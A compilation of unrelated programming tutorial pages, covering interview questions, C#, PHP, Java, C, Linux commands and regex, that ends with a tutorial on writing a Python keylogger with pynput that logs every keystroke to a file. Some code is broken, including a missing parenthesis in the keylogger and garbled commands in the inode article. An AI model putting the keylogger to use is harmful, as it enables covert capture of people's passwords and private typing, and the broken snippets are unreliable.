code-rag-bench/online-tutorials huggingface dataset:
Adobe Interview | Set 1 - GeeksforGeeks

31 Jul, 2018
Following are the details of Adobe Interview.
Round 11. How will you implement a stack using a priority queue. Push and pop should be in O(1).2. Three mislabeled jars problem.
Round 21. How does stack look in function calls? Given a recursive function call, how will the stack look like?2. When does stack (process stack) overflow? What are the remedies?3. What are balanced BSTs. Then he randomly gave me various numbers and asked me to create a BST. And to balance it.4. Advantages of linked list over arrays. And arrays over linked list.5. How are vectors implemented internally in the library. This question revolved around dynamic implementation of arrays. Then discussed the amortized time of the operations using dynamic implementation of arrays.
Round 31. There was a question in written round that there is a global static variable ‘lock’ initially set to 0 and there was a code segment given.
while(lock);
lock = 1;
//Critical section
lock = 0; 
Does this solve critical section problem. I answered that it will solve in uni processor system but not in multiprocessor system. Then he asked me to explain my answer. After a long discussion we came to a conclusion that this wont even solve in uni processor system. Then he asked me the solution to solve this. I did that using testandset instruction.
2. When a function is called in thread, what variables can be accessed from it. There was a long discussion on this too. I went in the wrong direction but corrected myself later. Stack variables are copied but heap variables are same.
Round 41. What data structures will you use to implement a text editor. Size of editor can be changed and you also need to save the styling information for all the text like italic, bold etc.
Round 5HR Round: Normal HR questions.
Thanks to Suresh for sharing Adobe Interview Questions. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Adobe
Interview Experiences
Adobe
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Amazon Interview Experience for SDE-1 (On-Campus)
Microsoft Interview Experience for Internship (Via Engage)
Amazon Interview Experience
Amazon Interview Experience for SDE-1
Difference between ANN, CNN and RNN
Amazon Interview Experience (Off-Campus) 2022
Amazon Interview Experience for SDE-1(Off-Campus)
Amazon Interview Experience for SDE-1
Amazon Interview Experience for SDE1 (8 Months Experienced) 2022
Zoho Interview | Set 1 (On-Campus)
Tryit Editor v3.6 - Show React

import React from 'react';
import ReactDOM from 'react-dom/client';

const myElement = <h1>I Love JSX!</h1>;

const root = ReactDOM.createRoot(document.getElementById('root'));
root.render(myElement);




<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport"
      content="width=device-width, initial-scale=1" />
How to get the name of the current executable in C#?

There are several ways to get the name of the current executable in C#.
Using System.AppDomain −
Application domain provides isolation between code running in different app
domains. App Domain is a logical container for code and data just like process and
has separate memory space and access to resources. App domain also serves as a
boundary like process does to avoid any accidental or illegal attempts to access the
data of an object in one running application from another.
System.AppDomain class provides us the ways to deal with application domain. It
provides methods to create new application domain, unload domain from memory
etc.
This method returns the filename with the extension (ex: Application.exe).
 Live Demo
using System;
namespace DemoApplication{
   public class Program{
      public static void Main(){
         string currentExecutable =
         System.AppDomain.CurrentDomain.FriendlyName;
         Console.WriteLine($"Current Executable Name: {currentExecutable}");
         Console.ReadLine();
      }
   }
}
The output of the above code is
Current Executable Name: MyConsoleApp.exe
Using System.Diagnostics.Process −
A process is an operating system concept and it is the smallest unit of isolation
provided by Windows OS. When we run an application, Windows creates a process
for the application with a specific process id and other attributes. Each process is
allocated with necessary memory and set of resources.
Every Windows process contains at least one thread which takes care of the
application execution. A Processes can have many threads and they speed up
execution and give more responsiveness but a process that contain a single primary
thread of execution is considered to be more thread-safe.
This method returns the filename without extension (ex: Application).
 Live Demo
using System;
namespace DemoApplication{
   public class Program{
      public static void Main(){
         string currentExecutable =
         System.Diagnostics.Process.GetCurrentProcess().ProcessName;
         Console.WriteLine($"Current Executable Name: {currentExecutable}");
         Console.ReadLine();
      }
   }
}
The output of the above code is
Current Executable Name: MyConsoleApp
 Live Demo
using System;
namespace DemoApplication{
   public class Program{
      public static void Main(){
         string currentExecutable =
         System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
         Console.WriteLine($"Current Executable Name: {currentExecutable}");
         Console.ReadLine();
      }
   }
}
The output of the above code is
Current Executable Name:
C:\Users\UserName\source\repos\MyConsoleApp\MyConsoleApp\bin\Debug\MyCo
nsoleApp.exe

In the above example we could see that
Process.GetCurrentProcess().MainModule.FileName returns the executable file along
with the folder.
PHP | Spreadsheet | Setting a date and/or time value in a cell

19 Nov, 2018
In PHP Spreadsheet, the date or time values are stored in an excel sheet in the form of timestamp which is a floating point value. So in order to store date/time in a human-readable format, need to calculate the correct excel timestamp and finally set a number format mask.
Example:
<?php  // PHP program to set a date time value in excel sheetrequire_once('vendor/autoload.php');  use PhpOffice\PhpSpreadsheet\Spreadsheet;use PhpOffice\PhpSpreadsheet\Writer\Xlsx;   // Creates New Spreadsheet$spreadsheet = new Spreadsheet();   // Retrieve the current active worksheet$sheet = $spreadsheet->getActiveSheet();    // Set the number format mask so that the excel timestamp // will be displayed as a human-readable date/time$spreadsheet->getActiveSheet()->getStyle('A1')    ->getNumberFormat()    ->setFormatCode(    \PhpOffice\PhpSpreadsheet\Style\NumberFormat::FORMAT_DATE_DATETIME    );   // Get current date and timestamp// Convert to an Excel date/time$dateTime = time(); $excelDateValue = \PhpOffice\PhpSpreadsheet\Shared\Date::PHPToExcel(                  $dateTime );    // Set cell A1 with the Formatted date/time value$sheet->setCellValue('A1',$excelDateValue);   // Write an .xlsx file $writer = new Xlsx($spreadsheet);  // Save .xlsx file to the current directory$writer->save('gfgdate.xlsx');?>
Output:
Reference: https://phpspreadsheet.readthedocs.io/en/develop/topics/accessing-cells/
PHP-function
PHP-Spreadsheet
PHP
Web Technologies
PHP
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Insert Form Data into Database using PHP ?
How to convert array to string in PHP ?
How to Upload Image into Database and Display it using PHP ?
Comparing two dates in PHP
How to receive JSON POST with PHP ?
Installation of Node.js on Linux
Top 10 Projects For Beginners To Practice HTML and CSS Skills
Difference between var, let and const keywords in JavaScript
How to insert spaces/tabs in text using HTML/CSS?
How to fetch data from an API in ReactJS ?
Random nextBoolean() method in Java with Examples

07 Jan, 2019
The nextBoolean() method of Random class returns the next pseudorandom, uniformly distributed boolean value from the random number generator’s sequence.
Syntax:
public boolean nextBoolean()

Parameters: The function does not accepts any parameter.
Return Value: This method returns the next pseudorandom, uniformly distributed boolean value.
Exception: The function does not throws any exception.
Program below demonstrates the above mentioned function:
Program 1:
// program to demonstrate the// function java.util.Random.nextBoolean()  import java.util.*;public class GFG {    public static void main(String[] args)    {        // create random object        Random random = new Random();          // get boolean value        System.out.println("Random boolean value is : "                           + random.nextBoolean());    }}
Random boolean value is : true

Program 2:
// program to demonstrate the// function java.util.Random.nextBoolean()  import java.util.*;public class GFG {    public static void main(String[] args)    {        // create random object        Random random = new Random();          // get boolean value        System.out.println("Random boolean value is : "                           + random.nextBoolean());    }}
Random boolean value is : false

Java-Functions
Java-Random
Java
Java
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to avoid Structure Padding in C?

18 Sep, 2018
Prerequisites: Structure Member Alignment, Padding and Data Packing
In Structure, sometimes the size of the structure is more than the size of all structures members because of structure padding.
Below is an example of Structure padding:
// C program to show an example// of Structure padding#include <stdio.h>  struct s {    int i;    char ch;    double d;};  int main(){    struct s A;    printf("Size of A is: %ld", sizeof(A));}
Size of A is: 16

Note: But what actual size of all structure member is 13 Bytes. So here total 3 bytes are wasted.
So, to avoid structure padding we can use pragma pack as well as an attribute.Below are the solutions to avoid structure padding:
Program-1: Using pragma pack
// C program to avoid structure// padding using pragma pack#include <stdio.h>  // To force compiler to use 1 byte packaging#pragma pack(1)struct s {    int i;    char ch;    double d;};  int main(){    struct s A;    printf("Size of A is: %ld", sizeof(A));}
Size of A is: 13

Program-2: Using attribute
// C program to avoid structure// padding using attribute#include <stdio.h>  struct s {    int i;    char ch;    double d;} __attribute__((packed)); // Attribute informing compiler to pack all members  int main(){    struct s A;    printf("Size of A is: %ld", sizeof(A));}
Size of A is: 13

C-Structure & Union
C Language
C Programs
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Zoho Interview Experience | Set 22 (Experienced)

18 Oct, 2021
Only user-defined functions. No inbuilt functions at all. No scanning for inputs, directly assign to vars. 
Level 1: (2 hours – pen & paper) 1.Solve the equation X power Y with given values. 
Example:
    Input: X=2, Y=-2
    Output: 0.25
2.Find the distance between two given points and round it to the nearest number.
Example:
    Input: (2,4)(4,10)
    Output: 6
3.Count the numbers of characters in the given string treating ‘$’ as escape sequence. If ‘$’ is preceded by ”, consider it as normal ‘$’ and not the escape sequence. If ” occurs, treat it as single ”.
Example:
    Input: Hello$World$
    Output: 11
4.Given a 2D matrix, find the sum of all the elements.
Example:
    Input: [1 2 3]
           [4 5 6]
           [7 8 9]
    Output: 45
Level 2: Finish one question to get the next type. Total 5 questions. (3 hours – machine round) 1.Solve the equation (XpowerY/Z!) + (Z/(X!+Z)) with given values of X, Y, Z. X and Z cannot be negative.
Example:
    Input: X=2, Y=3, Z=4
    Output: 1
2.Batman, Spiderman and Superman are going to start a business. The total investment is 1000M$. Anyone can add new investment to their existing investment. They can transfer investments between themselves. The program should be in OOP style and should have a menu for user to do all operations. (Something similar to below example.) 
Constraints:
    a.Total investment should always be 
      equal to or lesser than 1000M$.
    b.Spiderman's investment should never
      exceed Batman's.
    c.Investment cannot go into negative.
    d.Display investments on each update.
Example:
    Input: batman = 300, spiderman = 250,
          superman = 100
    Output:
    batman - 300
    spiderman - 250
    superman - 100
    add 100 into spiderman
    sorry, spiderman cant have more 
    investment than batman add 200 
    to batman
    batman - 500
    spiderman - 250
    superman - 100
    add 500 to superman
    sorry, total investment cant 
    exceed 1000. 
I couldn’t get the 3rd question as I ran out of time. Need to complete 3 questions to qualify for next round. 
If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
 
Zoho
Experienced
Geometric
Interview Experiences
Mathematical
Zoho
Mathematical
Geometric
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Lodash _.times() Method

09 Sep, 2020
The Lodash _.times() method Invokes the iteratee n times, returning an array of the results of each invocation. The iteratee is invoked with one argument.
Syntax: 
_.times( n, iteratee )
Parameters: This method accepts two parameters as mentioned above and described below:
n: The number of times to invoke iteratee function.
iteratee: The function which is invoked per iteration.
Return Value: It Returns the array of results.
Example 1:
Javascript
// Requiring the lodash library  const _ = require("lodash");                // Use of _.times() method // by taking n=5 and stringlet gfg = _.times(5,String);         // Printing the output  console.log(gfg);
Output:
["0", "1", "2", "3", "4"]

Example 2:
Javascript
// Requiring the lodash library  const _ = require("lodash");                // Use of _.times() method // by taking n=3 and constant methodlet gfg = _.times(3,_.constant(5));         // Printing the output  console.log(gfg);
Output:
[5, 5, 5]

JavaScript-Lodash
JavaScript
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Get Phone Number Information using Python

16 Jul, 2020
In this article, you will learn how you can get the information about phone number like the country name to which the phone number belongs to, or the network service provider name of that phone number just by writing a simple Python program. Python provides a module name phonenumbers for this task. This article is Python’s port of Google’s libphonenumber library.
InstallationInstall the package phonenumbers using the below command in your command prompt.
pip install phonenumbers
Example 1: Python program to get the country name to which phone number belongs:
import phonenumbers  # geocoder: to know the specific # location to that phone numberfrom phonenumbers import geocoder     phone_number = phonenumbers.parse("Number with country code") # Indian phone number example: +91**********# Nepali phone number example: +977**********          # this will print the country nameprint(geocoder.description_for_number(phone_number,                                       'en'))   
Output:
India
Example 2: Python program to get the service provider name to that phone number
import phonenumbers  # carrier: to know the name of # service provider of that phone numberfrom phonenumbers import carrier     service_provider = phonenumbers.parse("Number with country code")# Indian phone number example: +91**********# Nepali phone number example: +977**********         # this will print the service provider nameprint(carrier.name_for_number(service_provider,                              'en')) 
Output:
Airtel

Python-projects
python-utility
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python Dictionary
Enumerate() in Python
Different ways to create Pandas Dataframe
Read a file line by line in Python
How to Install PIP on Windows ?
Python String | replace()
Python OOPs Concepts
Python Classes and Objects
*args and **kwargs in Python
Introduction To PYTHON
zgrep command in Linux with Examples

16 Nov, 2021
The zgrep command is used to search out expressions from a given a file even if it is compressed. All the options that applies to the grep command also applies to the zgrep command. 
Syntax:  
zgrep [grep options] Expression File name
Options: 
-c : This option is used to display the number of matching lines for each file. Example: 
zgrep -c "linux" GFG.txt.gz
-i : This option is used to ignore case sensitivity. Example: 
Example: 
zgrep -i "LINUX" GFG.txt.gz
-n : This option is used to display the line number of file if the given expression is present in the line. Example: 
zgrep -n "linux" GFG.txt.gz
-v : This option is used to display the lines which doesn’t have the expression present in it. Basically invert the search function. Example: 
zgrep -v "linux" GFG.txt.gz
-e : This option is used to specify the expression but can be used multiple times. Example: 
zgrep -e "linux" -e "Linux" GFG.txt.gz
-o : This option is used to display only the matched section of the line from the given expression. Example: 
zgrep -o "linux" GFG.txt.gz
-l : This option is used to display the names of the files with the expression present in it. Example: 
zgrep -l "linux" *
-w : By default, zgrep command displays lines even if the expression is found as a sub-string. This option only displays lines only if the whole expression is found. Example: 
zgrep -w "linux" GFG.txt.gz
-h : This option is used to display the matched lines but doesn’t display the file names. Example: 
zgrep -h "linux" GFG.txt.gz
simmytarika5
linux-command
Linux-file-commands
Linux-Unix
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to free Inode usage on Linux?

The inode (also known as index node) is a data structure that is used to describe the file system object and is usually stored at the file system directory.
We can check the size of the different inodes present on our local machine with the help of the following command −
df -
The above command is known as df command which is a Linux utility command that is used to get the details of the space available on the disk.
After running the above command, you can expect an output something like this −
immukul@192 ~ % df -i
Filesystem 512-blocks Used Available Capacity iused ifree
/dev/disk1s5s1 236568496 44429928 45432792 50% 559993 1182282487
devfs 377 377 0 100% 652 0
/dev/disk1s4 236568496 6293880 45432792 13% 4 1182842476
We can notice in the output that one drive, namely the devfs one is completely used and in that case we won’t be able to write anything new to it.
Now we want to free that inode usage so that we can use it later.
In order to do that we can either create a shell script that will enable us to do that or we can run the commands shown below −
First find the root folders with large inodes with the command shown below −
for d in /*; do echo $d; find $d |wc -l; done
The above command will take some time but it will print the root folders with large inodes, in case you already know the directory that has large inodes then you can replace the above command with the command shown below −
for d in /devfs; do echo $d; find $d |wc -l; done
Now you just need to delete the linux-headers to free up some space. In order to do that just the run the command shown below −
sudo apt-get autoremove linux-headers-x.x
Replace the x.x with the previous version of linux-headers and you are done.
immukul@192 ~ % df -i
Filesystem 512-blocks Used Available Capacity iused ifree
/dev/disk1s5s1 236568496 44429928 45432792 50% 559993 1182282487
devfs 277 277 0 74% 652 0
/dev/disk1s4 236568496 6293880 45432792 13% 4 1182842476
An alternate way is to make use of the command shown below, that will help us to achieve the same result.
Just type the command shown below in your terminal −
sudo find . -xdev -type file | cut -d "/" -file 2 | sort | uniq -c | sort -n
immukul@192 ~ % df -i
Filesystem 512-blocks Used Available Capacity iused ifree
/dev/disk1s5s1 236568496 44429928 45432792 50% 559993 1182282487
devfs 207 207 0 63% 652 0
/dev/disk1s4 236568496 6293880 45432792 13% 4 1182842476
How to validate URL address in JavaScript?

To validate URL address in JavaScript, use “regex” as in the following code. It returns “true” for correct URL address, else “false”
Live Demo
<!DOCTYPE html>
<html>
   <body>
      <script>
         var myURL;
         function validURL(myURL) {
            var pattern = new RegExp('^(https?:\\/\\/)?'+ // protocol
            '((([a-z\\d]([a-z\\d-]*[a-z\\d])*)\\.?)+[a-z]{2,}|'+ // domain name
            '((\\d{1,3}\\.){3}\\d{1,3}))'+ // ip (v4) address
            '(\\:\\d+)?(\\/[-a-z\\d%_.~+]*)*'+ //port
            '(\\?[;&amp;a-z\\d%_.~+=-]*)?'+ // query string
            '(\\#[-a-z\\d_]*)?$','i');
            return pattern.test(myURL);
         }
         document.write(validURL("http://qries.com"));
      </script>
   </body>
</html>
Java regex program to add space between a number and word in Java.

You can form matched groups in the regular expression by separating the expressions with parenthesis. In following regular expression the first group matches digits and the second group matches the English alphabet −
(\\d)([A-Za-z])
In short, it matches the part in the input string where a digit followed by an alphabet.
Since the expression 1indicatesGroup1and2 indicates Group2, if you replace
The above Java regular expression with 12, using the replace() method (of the String class) a space will be added between number and a word in the given input string when a number is followed by a word.
 Live Demo
import java.util.Scanner;
public class SampleTest {
   public static void main( String args[] ) {
      String regex = "(?<=[A-Za-z])(?=[0-9])|(?<=[0-9])(?=[A-Za-z])";
      //Reading input from user
      Scanner sc = new Scanner(System.in);
      System.out.println("Enter input text: ");
      String input = sc.nextLine();
      //String result = input.replaceAll(regex, " ");
      String result = input.replaceAll( "(\\d)([A-Za-z])", "$1 $2" );
      System.out.println(result);
   }
}
Enter input text:
21This 23is 56sample 99text
21 This 23 is 56 sample 99 text
Similarly, you can add space between numbers and alphabets in the given text irrespective of the order you need to replace the following expression with a space −
(?<=[A-Za-z])(?=[0-9])|(?<=[0-9])(?=[A-Za-z])
 Live Demo
import java.util.Scanner;
public class SampleTest {
   public static void main( String args[] ) {
      String regex = "(?<=[A-Za-z])(?=[0-9])|(?<=[0-9])(?=[A-Za-z])";
      //Reading input from user
      Scanner sc = new Scanner(System.in);
      System.out.println("Enter input text: ");
      String input = sc.nextLine();
      //String result = input.replaceAll(regex, " ");
      String result = input.replaceAll( regex, " " );
      System.out.println(result);
   }
}
Enter input text:
21This23is56sample99text
21 This 23 is 56 sample 99 text
MySQLi - Prepare

mysqli_stmt mysqli_prepare ( mysqli $link , string $query )

It used to prepare an SQL statement for execution.
Try out following example −
<?php
   $servername = "localhost:3306";
   $username = "root";
   $password = "";
   $dbname = "TUTORIALS";
   $conn = new mysqli($servername, $username, $password, $dbname);

   if ($conn->connect_error) {
      die('Connect Error (' . mysqli_connect_errno() . ') '. mysqli_connect_error());
      exit();
   } 
   echo 'Success... ' . mysqli_get_host_info($conn) . "\n";
   
   $stmt = $conn->prepare("INSERT INTO tutorials_auto (id, name) VALUES (?, ?)");
   $stmt->bind_param("is", $id, $name);
   $id = "10";
   $name = "sai";
   $stmt->execute();
   echo "New records created successfully";
   
   $stmt->close();
   $conn->close();
?>
The sample output of the above code should be like this −
Success... localhost:3306 via TCP/IP New records created successfully


    14 Lectures 
     1.5 hours 

 Stone River ELearning
 Print
 Add Notes
 Bookmark this page
Multidimensional arrays in PHP

An array that contains one or more arrays is Multidimensional arrays. A multi-dimensional array of each element in the main array can also be an array. And each element in the sub-array can be an array, and so on. Values in the multi-dimensional array are accessed using multiple indexes.
To implement multidimensional arrays in PHP, the code is as follows−
 Live Demo
<?php
$marks = array(
    "kevin" => array (
      "physics" => 95,
      "maths" => 90,
    ),
    "ryan" => array (
      "physics" => 92,
      "maths" => 97,
    ),
);
   echo "Marks for kevin in physics : " ;
   echo $marks['kevin']['physics'] . "\n";
   echo "Marks for ryan in maths : ";
   echo $marks['ryan']['maths'] . "\n";
?>
This will produce the following output−
Marks for kevin in physics : 95
Marks for ryan in maths : 97
Let us now see another example, wherein we are creating 3-dimensional array −
 Live Demo
<?php
   $arr = array(
      array(
         array(100, 150),
         array(200, 250),
      ),
      array(
         array(300, 350),
         array(400, 500),
      ),
   );
   print_r($arr);
?>
This will produce the following output−
Array
(
   [0] => Array
      (
         [0] => Array
            (
               [0] => 100
               [1] => 150
            )
            [1] => Array
               (
                  [0] => 200
                  [1] => 250
               )
      )
      [1] => Array
          (
            [0] => Array
               (
                  [0] => 300
                  [1] => 350
               )
               [1] => Array
                (
                  [0] => 400
                  [1] => 500
                )
        )
)
How to change imshow aspect ratio in Matplotlib? - GeeksforGeeks

03 Jan, 2021
Aspect ratio is the ratio of height to width of the image we want to display. Matplotlib provides us the feature of modifying the aspect ratio of our image by specifying the value for the optional aspect ratio attribute for our image plot. 
 Syntax: pyplot.imshow(image, aspect=’value’)
We can replace the value for the aspect ratio with ‘equal’, ‘auto’, or any float value representing the desired aspect ratio. For this article, we have used the below image to demonstrate the changes in aspect ratio using Matplotlib.
Original Image
Example:
Python3
import matplotlib.pyplot as pltimport cv2  # reading image from directoryim = cv2.imread("C://Users/User/Downloads/chess5.png")  # plotting a figure for showing all # images in a single plotfig = plt.figure(figsize=(4, 4))  # plotting each matplot image with# different aspect ratio parameter values# in a seperate subplotax1 = fig.add_subplot(2, 2, 1)ax1.set_xlabel('Original')  # plot the initial image as the first imageplt.imshow(im)  ax2 = fig.add_subplot(2, 2, 2)ax2.set_xlabel('Aspect Ratio : Auto')  # plot the image with "auto" aspect ratio# as the second imageplt.imshow(im, aspect='auto')  ax3 = fig.add_subplot(2, 2, 3)ax3.set_xlabel('Aspect Ratio : 0.5')  # plot the image with "0.5" aspect ratio # as the third imageplt.imshow(im, aspect='0.5')  ax4 = fig.add_subplot(2, 2, 4)ax4.set_xlabel('Aspect Ratio : 1.5')  # plot the image with "1.5" aspect ratio# as the fourth imageplt.imshow(im, aspect='1.5')  # display the plotplt.show()
Output:
Picked
Python-matplotlib
Technical Scripter 2020
Python
Technical Scripter
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
How to Install PIP on Windows ?
How to drop one or multiple columns in Pandas Dataframe
How To Convert Python Dictionary To JSON?
Check if element exists in list in Python
Python | Pandas dataframe.groupby()
Defaultdict in Python
Python | Get unique values from a list
Python Classes and Objects
Python | os.path.join() method
Create a directory in Python
How to replace Digits into String using Java?

For this purpose, we create an object of HashMap class which is defined in java.util package
Map<String, String> map = new HashMap<String, String>();
This hashmap object associates each digit with its corresponding word representation
map.put("0", "zero");
Initialize an empty string object.
String newstr="";
Next, run a for loop over the length of given string and extract each character by substring() method of String class.
Check if the character exists as a key in map object by containsKey() method. If it does, using it as key, obtain its value component in map and appenf\d to the new string. If not append the character itself to the new string. The complete code is as below:
Live Demo
import java.util.*;
public class test {
   public static void main(String args[]) {
      Map<String, String> map = new HashMap<String, String>();
      map.put("0", "zero");
      map.put("1", "one");
      map.put("2", "two");
      map.put("3", "three");
      map.put("4", "four");
      map.put("5", "five");
      map.put("6", "six");
      map.put("7", "seven");
      map.put("8", "eight");
      map.put("9", "nine");
      String s="I have 3 Networking books, 0 Database books, and 8 Programming books.";
      String newstr="";
      for (int i=0;i<s.length();i++) {
         String k=s.substring(i,i+1);
         if (map.containsKey(k)) {
            String v=map.get(k);
            newstr=newstr+v;
         } else
         newstr=newstr+k;
      }
      System.out.println(newstr);
   }
}
The output is as desired:
I have three Networking books, zero Database books, and eight Programming books.
How to rotate an HTML div element 90 degrees using JavaScript ? - GeeksforGeeks

16 Oct, 2019
An element can be rotated 90 degrees by using the transform property. This property is used to move, rotate, scale and others to perform various kinds of transformation to elements.The rotate() transformation function can be used as the value to rotate the element. It takes one parameter which defines the rotation angle. The rotation angle consists of two parts, the value of the rotation followed by the unit of rotation. The unit can be defined in degrees (deg), gradient (grad), radians (rad) and turns.
To rotate by 90 degrees any of the units can be used with their corresponding values. 90 degrees would equal to 100 gradient or 0.25 turns.
Applying this property to the required element would rotate it by 90 degrees.
Syntax:
// Using CSS
transform: rotate(90deg);

// Using JavaScript
element.style.transform = 'rotate(90deg)';

Example: The example uses a rectangle and one side of a border to explain the rotation.
<!DOCTYPE html><html>  <head>    <title>        How to rotate an HTML div element        90 degrees using JavaScript ?    </title>          <style>        .box {            height: 250px;            width: 150px;            border-right: 5px solid;            background-color: lightgreen;        }    </style></head>  <body>    <h1 style="color: green">        GeeksforGeeks    </h1>          <b>        How to rotate an HTML div        element in 90 degrees?    </b>          <p>        Click on the button below to rotate        the element by 90 degress.    </p>          <div class="box"></div>          <button onclick="rotateElem()">        Rotate by 90 degrees    </button>          <script type="text/javascript">        function rotateElem() {            document.querySelector('.box').style.transform                       = 'rotate(90deg)';        }    </script></body>  </html>
Output:
Before clicking the button:
After clicking the button:
HTML-Basics
javascript-basics
Picked
HTML
JavaScript
Web Technologies
Web technologies Questions
HTML
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
REST API (Introduction)
Design a web page using HTML and CSS
Angular File Upload
Form validation using jQuery
DOM (Document Object Model)
Convert a string to an integer in JavaScript
Difference between var, let and const keywords in JavaScript
How to calculate the number of days between two dates in javascript?
Differences between Functional Components and Class Components in React
How to append HTML code to a div using JavaScript ?
XML - Namespaces

A Namespace is a set of unique names. Namespace is a mechanisms by which element and attribute name can be assigned to a group. The Namespace is identified by URI(Uniform Resource Identifiers).
A Namespace is declared using reserved attributes. Such an attribute name must either be xmlns or begin with xmlns: shown as below −
<element xmlns:name = "URL">

The Namespace starts with the keyword xmlns.
The Namespace starts with the keyword xmlns.
The word name is the Namespace prefix.
The word name is the Namespace prefix.
The URL is the Namespace identifier.
The URL is the Namespace identifier.
Namespace affects only a limited area in the document. An element containing the declaration and all of its descendants are in the scope of the Namespace. Following is a simple example of XML Namespace −
<?xml version = "1.0" encoding = "UTF-8"?>
<cont:contact xmlns:cont = "www.tutorialspoint.com/profile">
   <cont:name>Tanmay Patil</cont:name>
   <cont:company>TutorialsPoint</cont:company>
   <cont:phone>(011) 123-4567</cont:phone>
</cont:contact>
Here, the Namespace prefix is cont, and the Namespace identifier (URI) as www.tutorialspoint.com/profile. This means, the element names and attribute names with the cont prefix (including the contact element), all belong to the www.tutorialspoint.com/profile namespace.

    84 Lectures 
     6 hours 

 Frahaan Hussain

    29 Lectures 
     2 hours 

 YouAccel

    27 Lectures 
     1 hours 

 Jordan Stanchev

    16 Lectures 
     2 hours 

 Simon Sez IT
 Print
 Add Notes
 Bookmark this page
Activity Selection Problem

There are n different activities are given with their starting time and ending time. Select the maximum number of activities to solve by a single person. We will use the greedy approach to find the next activity whose finish time is minimum among rest activities, and the start time is more than or equal with the finish time of the last selected activity.
The complexity of this problem is O(n log n) when the list is not sorted.
When the sorted list is provided the complexity will be O(n).
Input:
A list of different activities with starting and ending times.
{(5,9), (1,2), (3,4), (0,6), (5,7), (8,9)}
Output:
Selected Activities are:
Activity: 0 , Start: 1 End: 2
Activity: 1 , Start: 3 End: 4
Activity: 3 , Start: 5 End: 7
Activity: 5 , Start: 8 End: 9
maxActivity(act, size)
Input: A list of activity, and the number of elements in the list.
Output − The order of activities how they have been chosen.
Begin
   initially sort the given activity List
   set i := 1
   display the ith activity //in this case it is the first activity

   for j := 1 to n-1 do
      if start time of act[j] >= end of act[i] then
         display the jth activity
         i := j
   done
End
#include<iostream>
#include<algorithm>
using namespace std;

struct Activitiy {
   int start, end;
};

bool comp(Activitiy act1, Activitiy act2) {
   return (act1.end < act2.end);
}

void maxActivity(Activitiy act[], int n) {
   sort(act, act+n, comp); //sort activities using compare function

   cout << "Selected Activities are: " << endl;
   int i = 0;// first activity as 0 is selected
   cout << "Activity: " << i << " , Start: " <<act[i].start << " End:
      " << act[i].end <<endl;

   for (int j = 1; j < n; j++) { //for all other activities
      if (act[j].start >= act[i].end) { //when start time is >= end
         time, print the activity
         cout << "Activity: " << j << " , Start: " <<act[j].start << " End: " << act[j].end <<endl;
         i = j;
      }
   }
}

int main() {
   Activitiy actArr[] = {{5,9},{1,2},{3,4},{0,6},{5,7},{8,9}};
   int n = 6;
   maxActivity(actArr,n);
   return 0;
}
Selected Activities are:
Activity: 0 , Start: 1 End: 2
Activity: 1 , Start: 3 End: 4
Activity: 3 , Start: 5 End: 7
Activity: 5 , Start: 8 End: 9
PHP | parse_str() Function - GeeksforGeeks

27 Mar, 2018
The parse_str() function is a built-in function in PHP which parses a query string into variables. The string passed to this function for parsing is in the format of a query string passed via a URL.
Syntax :
parse_str($string, $array)
Parameters: This function accepts two parameters as shown in the above syntax out of which the first parameter must be supplied and the second one is optional. All of these parameters are described below:
$string: It specifies the string to parse.
$array: This is an optional parameter which specifies the name of an array to store the variables. This parameter indicates that the variables will be stored in an array.
Examples:
Input : "name=Richik&age=20"
Output :  $name = Richik
          $age = 20

Input : "roll_no=2&year=2nd&gpa=8.3"
Output : $roll_no = 2
         $year = 2nd
         $gpa = 8.3

Below programs illustrate the parse_str() function in PHP:
Program 1 :
<?php          parse_str("name=Richik&age=20");    echo $name."\n".$age;?>
Output:
Richik
20

Program 2:In this program we will store the variables in an array and then display the array using print_r() function.
<?php          parse_str("roll_no=2&year=2nd&gpa=8.3", $array);    print_r($array);  ?>
Output:
Array
(
    [roll_no] => 2
    [year] => 2nd
    [gpa] => 8.3
)

Reference:http://php.net/manual/en/function.parse-str.php
PHP-string
PHP
Web Technologies
PHP
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
How to Insert Form Data into Database using PHP ?
How to convert array to string in PHP ?
How to Upload Image into Database and Display it using PHP ?
How to check whether an array is empty using PHP?
How to receive JSON POST with PHP ?
Top 10 Front End Developer Skills That You Need in 2022
Installation of Node.js on Linux
Top 10 Projects For Beginners To Practice HTML and CSS Skills
How to fetch data from an API in ReactJS ?
How to insert spaces/tabs in text using HTML/CSS?
How to use pynput to make a Keylogger? - GeeksforGeeks

16 Dec, 2021
Prerequisites: Python Programming LanguageThe package pynput.keyboard contains classes for controlling and monitoring the keyboard. pynput is the library of Python that can be used to capture keyboard inputs there the coolest use of this can lie in making keyloggers. The code for the keylogger is given below.
pynput: To install pynput type the below command in the terminal.  
 pip install pynput 
Below is the implementation:  
Python3
# keylogger using pynput module  import pynputfrom pynput.keyboard import Key, Listener  keys = []  def on_press(key):         keys.append(key)    write_file(keys)         try:        print('alphanumeric key {0} pressed'.format(key.char))             except AttributeError:        print('special key {0} pressed'.format(key))          def write_file(keys):         with open('log.txt', 'w') as f:        for key in keys:                         # removing ''            k = str(key).replace("'", "")            f.write(k                                 # explicitly adding a space after            # every keystroke for readability            f.write(' ')              def on_release(key):                         print('{0} released'.format(key))    if key == Key.esc:        # Stop listener        return False    with Listener(on_press = on_press,              on_release = on_release) as listener:                         listener.join()
